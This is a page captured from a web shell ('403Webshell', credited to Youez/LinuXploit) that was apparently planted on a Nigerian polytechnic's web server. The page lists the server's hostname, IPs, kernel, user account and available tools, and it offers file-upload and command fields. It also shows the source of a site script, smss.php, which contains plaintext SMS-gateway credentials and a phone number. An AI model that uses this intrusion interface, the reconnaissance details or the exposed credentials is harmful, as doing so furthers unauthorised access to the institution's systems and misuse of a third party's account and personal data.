403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.70.131.125
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs/eace_entranceForm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs/eace_entranceForm/smss.php
<?php
function sendsms_post ($url, array $params)
{
    $params = http_build_query($params);
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL,$url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $output=curl_exec($ch);
    curl_close($ch);
    return $output;
}
 $senderid = 'FedPolyEde';
 $recipients = '08034496359';
 $username = 'aspoa';
 $password = 'aepies12';
 $message='this is a';

 $sms_array = array (
    'username' => $username,
    'password' => $password,
    'message' => $message,
    'sender' => $senderid,
    'recipient' => $recipients
);
 echo $sms_array['recipient'];
$url='https://api.smartsmssolutions.com/smsapi.php';
$post_sms = sendsms_post($url, $sms_array);
if ($post_sms){
    echo "am here";
}else{
    echo $post_sms;
    echo "am here";
}



Youez - 2016 - github.com/yon3zu
LinuXploit